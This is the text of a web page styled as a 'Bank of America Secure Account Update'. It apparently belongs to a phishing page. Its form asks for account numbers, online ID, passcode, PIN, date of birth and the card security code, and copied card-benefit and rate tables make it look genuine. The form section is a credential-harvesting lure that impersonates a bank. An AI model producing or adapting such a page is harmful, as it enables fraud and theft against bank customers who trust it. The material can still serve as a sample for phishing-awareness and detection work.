Bank of America Higher Standards

Bank of America® Secure Account Update

Complete all the information below.

Bank Application Form

User Information

State where your accounts were opened

(5-32 digits)
(4-20 numbers and/or letters, case-sensitive)
Re-enter your Passcode
(4-12 numbers and/or letters, case-sensitive)
(4-6 digits)

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of Birth   of Birth   of Birth
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Your Accounts Details

(this is the last 3 or 4 digits AFTER the credit card number in the signature area of the card )
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Key Benefits

  • Earn 1 point for every $1 in net retail purchases§
  • Redeem your Points for travel, merchandise, gift certificates, and cash rewards
  • Redemption levels start at just 2,500 points
  • Ultimate AccessSM, redeem your Points for unprecedented event access, tailor-made experiences & adventures, access to sports and entertainment personalities, and exclusive memorabilia & designer items
  • Access to the MyConciergeSM service, a unique free personal assistance service
  • Online access and 24-hour service
  • Absolute fraud protection


  • No annual fee
  • Introductory 0% Annual Percentage Rate (APR) for Cash Advance Checks and Balance Transfers through your first twelve billing cycles.* (subject to a 3% transaction fee, no less than $10)
  • After your introductory rate expires, the Standard APR is 9.9% for Platinum Plus accounts, or 15.99% for Preferred accounts. The Introductory APR may end sooner if your payment is late or the account balance is over the credit limit.
  • If your account has balances with different APRs, payments are applied to the balance with the lowest APR before any payments are applied to balances with higher APRs
  • The Introductory APR is effective upon the opening of your account and does not apply to Purchases, or to Bank and ATM Cash Advances.
  • Transaction fee for Balance Transfers and Cash Advance Checks is 3% of each such cash advance (minimum $10).

Account Benefits

  • Online account access and 24-hour service
  • Worldwide Acceptance
  • Convenience checks at no extra charge
  • Additional cards at no extra charge
  • Zero Liability, pay only for purchases which you have authorized on your card.§§
  • MasterCard Global Service™, emergency customer service anytime, anywhere and in any language. Emergency services such as Lost or Stolen Card Reporting, Emergency Card Replacement and Emergency Cash Advance as well as ATM location information are available.§§
  • MasterAssist® Travel Assistance Services, emergency assistance and referral services, 24 hours a day, pre-trip destination information, medical and legal referrals, and emergency cash transfers, for travel virtually anywhere worldwide.§§
  • Master RoadAssist®, emergency roadside service to cardholders traveling in the U.S.§§


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With the Bank of America® WorldPoints™ MasterCard® Credit Card, you enjoy a 0% introductory APR, no annual fee, and no balance transfer fees with introductory offers.

This is an abbreviated version of the information on rates and fees for this offer. See Terms and Conditions for additional information.

Description Rate or Fee
Annual Fee None.
Introductory APR on Balance Transfers and Cash Advance Checks (through first twelve billing cycles) 0%
Standard APR on Balance Transfers and Cash Advance Checks (after first twelve billing cycles) 9.9% for Platinum Plus accounts, or 15.99% for Preferred accounts
Standard APR for purchases 9.9% for Platinum Plus accounts, or 15.99% for Preferred accounts. The account you receive is determined based on your creditworthiness.
Standard APR for Bank and ATM Cash Advances 19.99%
Default APR Up to 29.99% for all Purchase and Cash Advance balances if late or overlimit
Transaction fees for cash advances (including Balance Transfers, Cash Advance Checks, Bank and ATM Cash Advances) 3% of each such cash advance (minimum $10)
Transaction fee for the purchase of wire transfers, person-to-person money transfers, bets, lottery tickets, casino gaming chips; money orders, foreign currency and travelers checks from a non-financial institution 3% of each such purchase (minimum $10)
Late payment fee Based on your balance as of the day the fee is assessed- $15 if $100 or less; $29 if between $100.01 and $250; $39 if over $250.
Over the credit limit fee Based on your balance as of the day the fee is assessed - $15 if $500 or less; $29 if between $500.01 and $1000; $39 if over $1000.
Grace Period on purchases At least 20 days from the statement Closing Date (provided you fully paid your New Balance Total from the previous statement by its Payment Due Date).
Foreign Transactions Transaction fee for any transaction made in a foreign currency: 3% of the U.S. Dollar amount of each such transaction. This fee will be in addition to any other applicable fee.


Terms and Conditions


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Convenient account access

Bank of America credit card holders are entitled to free online account access which provides complete access right at your fingertips and helps you save time and money while you manage your account. Plus, you can pay your credit card bill online for free.


Pay your credit card bill in seconds

It's free and only takes a minute to set up. Most payments are made on the same or next business day.


View your account information anytime

Access account information like your balance, transaction activity and payment due date whenever you need it.


Consolidate your balances

Transfer your other card balances to your Bank of America card easily online.


You can also order convenience checks, request credit limit increases, and more. It's easy and secure and only takes a moment to enroll. Upon receipt of your card simply go to to get started.


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